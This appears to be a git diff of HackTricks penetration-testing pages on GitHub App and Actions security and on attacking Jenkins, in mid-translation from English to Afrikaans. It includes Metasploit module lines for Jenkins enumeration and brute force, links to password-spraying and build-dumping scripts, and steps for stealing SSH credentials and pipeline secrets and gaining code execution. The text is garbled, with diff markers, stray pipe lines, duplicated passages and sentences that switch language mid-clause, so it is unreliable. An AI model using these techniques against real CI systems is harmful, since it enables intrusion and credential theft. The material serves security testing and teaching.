Github toepassings kan om toestemmings vra om **toegang tot jou github inligting te verkry of om jou na te boots** om spesifieke aksies oor spesifieke hulpbronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê.
|
||||
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Om 'n GitHub App te installeer, moet jy 'n **organisasie-eienaar wees of admin toestemmings** in 'n repository hê.
|
||||
- Die GitHub App moet **verbinde met 'n persoonlike rekening of 'n organisasie**.
|
||||
- Jy kan jou eie Github toepassing in [https://github.com/settings/apps](https://github.com/settings/apps) skep.
|
||||
- Jy kan al die **Github toepassings wat toegang tot jou rekening het** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) sien.
|
||||
- Dit is die **API Eindpunte vir Github Toepassings** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Afhangende van die toestemmings van die App sal dit in staat wees om sommige van hulle te benader.
|
||||
- Jy kan geïnstalleerde apps in 'n **organisasie** in _https://github.com/organizations/\<org_name>/settings/installations_ sien.
|
||||
|
||||
Some security recommendations:
|
||||
Sommige sekuriteitsaanbevelings:
|
||||
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- 'n GitHub App moet **aksies onafhanklik van 'n gebruiker neem** (tenzij die app 'n [gebruiker-naar-bediener](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token gebruik). Om gebruiker-naar-bediener toegangstokens veiliger te hou, kan jy toegangstokens gebruik wat na 8 uur verval, en 'n verfrissingstoken wat vir 'n nuwe toegangstoken omgeruil kan word. Vir meer inligting, sien "[Verfrissing van gebruiker-naar-bediener toegangstokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Maak seker dat die GitHub App integreer met **spesifieke repositories**.
|
||||
- Die GitHub App moet **verbinde met 'n persoonlike rekening of 'n organisasie**.
|
||||
- Moet nie verwag dat die GitHub App alles weet en doen wat 'n gebruiker kan nie.
|
||||
- **Moet nie 'n GitHub App gebruik as jy net 'n "Aanmeld met GitHub" diens nodig het nie**. Maar 'n GitHub App kan 'n [gebruiker identifikasievloei](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers in te teken _en_ ander dinge te doen.
|
||||
- Moet nie 'n GitHub App bou as jy _net_ wil optree as 'n GitHub gebruiker en alles wil doen wat daardie gebruiker kan doen nie.
|
||||
- As jy jou app met GitHub Actions gebruik en workflow lêers wil wysig, moet jy namens die gebruiker verifieer met 'n OAuth token wat die `workflow` skop insluit. Die gebruiker moet admin of skryftoestemming hê tot die repository wat die workflow lêer bevat. Vir meer inligting, sien "[Begrip van skoppe vir OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Meer** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
Dit **is nie 'n manier om in github te verifieer nie**, maar 'n **kwaadwillige** Github Action kan **ongemagtigde toegang tot github** verkry en **afhangende** van die **privileges** wat aan die Aksie gegee word, kan verskeie **verskillende aanvalle** uitgevoer word. Sien hieronder vir meer inligting.
|
||||
|
||||
## Git Actions
|
||||
## Git Aksies
|
||||
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
Git aksies laat toe om die **uitvoering van kode te outomatiseer wanneer 'n gebeurtenis plaasvind**. Gewoonlik is die kode wat uitgevoer word **op een of ander manier verwant aan die kode van die repository** (miskien 'n docker houer bou of kyk of die PR nie geheime bevat nie).
|
||||
|
||||
### Configuration
|
||||
### Konfigurasie
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ is dit moontlik om die **konfigurasie van die github aksies** vir die organisasie te kontroleer.
|
||||
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
Dit is moontlik om die gebruik van github aksies heeltemal te verbied, **alle github aksies toe te laat**, of net sekere aksies toe te laat.
|
||||
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
Dit is ook moontlik om te konfigureer **wie goedkeuring nodig het om 'n Github Aksie te laat loop** en die **toestemmings van die GITHUB_TOKEN** van 'n Github Aksie wanneer dit uitgevoer word.
|
||||
|
||||
### Git Secrets
|
||||
### Git Geheime
|
||||
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
Github Aksie benodig gewoonlik 'n soort geheime om met github of derdeparty toepassings te kommunikeer. Om te **verhoed dat hulle in duidelike teks** in die repo geplaas word, laat github toe om hulle as **Geheime** te plaas.
|
||||
|
||||
Hierdie geheime kan **vir die repo of vir die hele organisasie** geconfigureer word. Dan, om die **Aksie toegang tot die geheim te gee**, moet jy dit soos volg verklaar:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Voorbeeld met Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
> Geheimnisse **kan slegs vanaf die Github Actions** wat hulle verklaar het, toeganklik wees.
|
||||
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
> Sodra dit in die repo of die organisasies gekonfigureer is, **sal gebruikers van github nie weer toegang tot hulle hê nie**, hulle sal net in staat wees om **hulle te verander**.
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
Daarom is die **enigste manier om github geheimnisse te steel, om toegang te hê tot die masjien wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die geheimnisse wat vir die Action verklaar is).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
### Git Omgewings
|
||||
|
||||
Github laat toe om **omgewings** te skep waar jy **geheimnisse** kan stoor. Dan kan jy die github action toegang gee tot die geheimnisse binne die omgewing met iets soos:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
You can configure an environment to be **accessed** by **alle takke** (default), **slegs beskermde** takke of **spesifiseer** watter takke toegang kan hê.\
|
||||
Dit kan ook 'n **aantal vereiste hersienings** stel voordat **uitvoering** van 'n **aksie** met 'n **omgewing** plaasvind of **wag** vir 'n **tyd** voordat ontplooiings voortgaan.
|
||||
|
||||
### Git Action Runner
|
||||
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **derdeparty-infrastruktuur** geconfigureer deur die gebruiker.
|
||||
|
||||
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
|
||||
Verskeie organisasies sal toelaat dat Github Actions in 'n **derdeparty-infrastruktuur** gedraai word, aangesien dit gewoonlik **goedkoper** is.
|
||||
|
||||
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
@@ -214,7 +208,7 @@ If all actions (or a malicious action) are allowed a user could use a **Github a
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
>
|
||||
> - **Steal all the secrets** the Action has access to
|
||||
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Move laterally** if the Action is executed inside a **derdeparty-infrastruktuur** waar die SA-token wat gebruik word om die masjien te laat loop, toegang kan verkry (waarskynlik via die metadata-diens)
|
||||
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
|
||||
|
||||
## Branch Protections
|
||||
@@ -229,11 +223,11 @@ The **branch protections of a repository** can be found in _https://github.com/\
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
|
||||
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,29 +2,25 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n **deurlopende integrasie** of **deurlopende aflewering** (CI/CD) omgewing vir byna **enige** kombinasie van **programmering tale** en bronkode-repositories te vestig met behulp van pipelines. Boonop outomatiseer dit verskeie roetine ontwikkelings take. Terwyl Jenkins nie die **noodsaaklikheid om skripte vir individuele stappe te skep** verwyder nie, bied dit 'n vinniger en meer robuuste manier om die hele reeks van bou-, toets- en ontplooiing gereedskap te integreer as wat 'n mens maklik handmatig kan opstel.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
## Ongeoutentiseerde Enumerasie
|
||||
|
||||
Om te soek na interessante Jenkins-bladsye sonder outentisering soos (_/people_ of _/asynchPeople_, dit lys die huidige gebruikers) kan jy gebruik maak van:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
Kontroleer of jy opdragte kan uitvoer sonder om te hoef te autentiseer:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **gebruikersname**.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
|
||||
@@ -38,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
|
||||
|
||||
## Login
|
||||
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
In the basic information you can check **alle maniere om in Jenkins aan te meld**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -46,267 +42,251 @@ basic-jenkins-information.md
|
||||
|
||||
### Register
|
||||
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
You will be able to find Jenkins instances that **toelaat dat jy 'n rekening skep en daarin aanmeld. So eenvoudig soos dit.**
|
||||
|
||||
### **SSO Login**
|
||||
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Also if **SSO** **funksionaliteit**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
**Jenkins** lacks **wagwoordbeleid** and **gebruikersnaam bruteforce mitigering**. It's essential to **brute-force** users since **swak wagwoorde** or **gebruikersname as wagwoorde** may be in use, even **omgekeerde gebruikersname as wagwoorde**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### Wachtwoord spuit
|
||||
|
||||
### Password spraying
|
||||
Gebruik [hierdie python skrip](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) of [hierdie powershell skrip](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
### IP Witlys Bypass
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
Baie organisasies kombineer **SaaS-gebaseerde bronbeheer (SCM) stelsels** soos GitHub of GitLab met 'n **interne, self-gehoste CI** oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI stelsels toe om **webhook-gebeurtenisse van SaaS bronbeheer verskaffers** te ontvang, hoofsaaklik om pyplyn take te aktiveer.
|
||||
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
Om dit te bereik, **witlys** organisasies die **IP reekse** van die **SCM platforms**, wat hulle toelaat om toegang te verkry tot die **interne CI stelsel** via **webhooks**. Dit is egter belangrik om te noem dat **enigeen** 'n **rekening** op GitHub of GitLab kan skep en dit kan konfigureer om 'n **webhook** te aktiveer, wat moontlik versoeke na die **interne CI stelsel** kan stuur.
|
||||
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
Kontroleer: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
## Interne Jenkins Misbruik
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
In hierdie scenario's gaan ons aanvaar dat jy 'n geldige rekening het om toegang tot Jenkins te verkry.
|
||||
|
||||
> [!WARNING]
|
||||
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
> Afhangende van die **Magtigings** meganisme wat in Jenkins geconfigureer is en die toestemming van die gecompromitteerde gebruiker, **kan jy dalk of dalk nie die volgende aanvalle uitvoer nie.**
|
||||
|
||||
For more information check the basic information:
|
||||
Vir meer inligting, kyk na die basiese inligting:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Listing users
|
||||
### Lys van gebruikers
|
||||
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
As jy toegang tot Jenkins verkry het, kan jy ander geregistreerde gebruikers lys in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
### Dumping boue om duidelike teks geheime te vind
|
||||
|
||||
Gebruik [hierdie skrip](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) om bou konsoluitvoer en bou omgewingsveranderlikes te dump om hopelik duidelike teks geheime te vind.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Steling van SSH Kredensiale**
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
As die gecompromitteerde gebruiker **genoeg bevoegdhede het om 'n nuwe Jenkins node te skep/wysig** en SSH kredensiale reeds gestoor is om toegang tot ander nodes te verkry, kan hy **daardie kredensiale steel** deur 'n node te skep/wysig en **'n gasheer in te stel wat die kredensiale sal opneem** sonder om die gasheer sleutel te verifieer:
|
||||
|
||||
.png>)
|
||||
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
|
||||
Jy sal gewoonlik Jenkins ssh kredensiale in 'n **globale verskaffer** (`/credentials/`) vind, so jy kan dit ook dump soos jy enige ander geheim sou dump. Meer inligting in die [**Dumping secrets section**](./#dumping-secrets).
|
||||
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
Om 'n **shell in die Jenkins bediener** te kry, gee die aanvaller die geleentheid om al die **geheime** en **omgewing veranderlikes** te lek en om **ander masjiene** in dieselfde netwerk te **ontgin** of selfs **cloud kredensiale** te **versamel**.
|
||||
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
Standaard sal Jenkins **as SYSTEM loop**. Dus, om dit te kompromitteer sal die aanvaller **SYSTEM bevoegdhede** gee.
|
||||
|
||||
### **RCE Creating/Modifying a project**
|
||||
### **RCE Skep/Wysig 'n projek**
|
||||
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
Skep/Wysig 'n projek is 'n manier om RCE oor die Jenkins bediener te verkry:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Execute Groovy script**
|
||||
### **RCE Voer Groovy skrip uit**
|
||||
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
Jy kan ook RCE verkry deur 'n Groovy skrip uit te voer, wat dalk minder opmerksaam is as om 'n nuwe projek te skep:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Creating/Modifying Pipeline
|
||||
### RCE Skep/Wysig Pipeline
|
||||
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
Jy kan ook **RCE verkry deur 'n pipeline te skep/wysig**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pipeline Exploitation
|
||||
## Pipeline Exploitatie
|
||||
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
Om pipelines te ontgin moet jy steeds toegang tot Jenkins hê.
|
||||
|
||||
### Build Pipelines
|
||||
### Bou Pipelines
|
||||
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
**Pipelines** kan ook as **bou meganisme in projekte** gebruik word, in daardie geval kan dit geconfigureer word met 'n **lêer binne die repository** wat die pipeline sintaksis sal bevat. Standaard word `/Jenkinsfile` gebruik:
|
||||
|
||||
.png>)
|
||||
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
Dit is ook moontlik om **pipeline konfigurasielêers in ander plekke** te stoor (in ander repositories byvoorbeeld) met die doel om **toegang** tot die repository en die pipeline toegang te **skei**.
|
||||
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
As 'n aanvaller **skrywe toegang oor daardie lêer het**, sal hy in staat wees om dit te **wysig** en **potensieel die pipeline te aktiveer** sonder om toegang tot Jenkins te hê.\
|
||||
Dit is moontlik dat die aanvaller sal moet **omseil sommige tak beskermings** (afhangende van die platform en die gebruiker bevoegdhede kan dit omseil of nie).
|
||||
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
Die mees algemene triggers om 'n pasgemaakte pipeline uit te voer is:
|
||||
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
- **Trekversoek** na die hoof tak (of potensieel na ander takke)
|
||||
- **Stoot na die hoof tak** (of potensieel na ander takke)
|
||||
- **Opdateer die hoof tak** en wag totdat dit op een of ander manier uitgevoer word
|
||||
|
||||
> [!NOTE]
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
> As jy 'n **eksterne gebruiker** is, moet jy nie verwag om 'n **PR na die hoof tak** van die repo van **ander gebruiker/organisasie** te skep en **die pipeline te aktiveer** nie... maar as dit **sleg geconfigureer** is, kan jy heeltemal **maatskappye kompromitteer net deur dit te ontgin**.
|
||||
|
||||
### Pipeline RCE
|
||||
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
|
||||
In die vorige RCE afdeling is daar reeds 'n tegniek aangedui om [**RCE te verkry deur 'n pipeline te wysig**](./#rce-creating-modifying-pipeline).
|
||||
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
### Kontroleer Omgewing veranderlikes
|
||||
|
||||
Dit is moontlik om **duidelike teks omgewing veranderlikes** vir die hele pipeline of vir spesifieke fases te verklaar. Hierdie omgewing veranderlikes **moet nie sensitiewe inligting bevat nie**, maar 'n aanvaller kan altyd **alle pipeline** konfigurasies/Jenkinsfiles nagaan:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
|
||||
### Dumping secrets
|
||||
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
Vir inligting oor hoe sekrete gewoonlik deur Jenkins hanteer word, kyk na die basiese inligting:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
Geloofsbriewe kan **geskik word aan globale verskaffers** (`/credentials/`) of aan **spesifieke projekte** (`/job/<project-name>/configure`). Daarom, om al hierdie te exfiltrate, moet jy **ten minste al die projekte** wat sekrete bevat, **kompromitteer** en pasgemaakte/vergiftigde pyplyne uitvoer.
|
||||
|
||||
Daar is 'n ander probleem, om 'n **geheim binne die omgewing** van 'n pyplyn te kry, moet jy **die naam en tipe van die geheim** **ken**. Byvoorbeeld, as jy probeer om 'n **`usernamePassword`** **geheim** as 'n **`string`** **geheim** te **laai**, sal jy hierdie **fout** kry:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
Hier is die manier om 'n paar algemene geheime tipes te laai:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
